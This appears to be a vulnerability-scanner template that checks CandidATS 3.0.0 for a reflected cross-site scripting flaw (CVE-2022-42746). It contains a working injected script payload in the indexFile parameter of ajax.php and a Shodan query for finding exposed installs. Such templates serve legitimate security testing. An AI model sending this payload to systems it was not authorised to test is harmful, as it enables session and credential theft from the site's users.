id: CVE-2022-42746

info:
  name: CandidATS 3.0.0 - Cross-Site Scripting.
  author: arafatansari
  severity: medium
  description: |
    CandidATS 3.0.0 contains a cross-site scripting vulnerability via the indexFile parameter of the ajax.php resource.  An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: |
    To mitigate this vulnerability, it is recommended to apply the latest security patch or upgrade to a non-vulnerable version of CandidATS.
  reference:
    - https://fluidattacks.com/advisories/modestep/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-42746
    - https://candidats.net/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-42746
    cwe-id: CWE-79
    epss-score: 0.00078
    epss-percentile: 0.32512
    cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: auieo
    product: candidats
    shodan-query: http.html:"CandidATS"
  tags: cve,cve2022,candidats,xss

http:
  - method: GET
    path:
      - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'candidat'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 404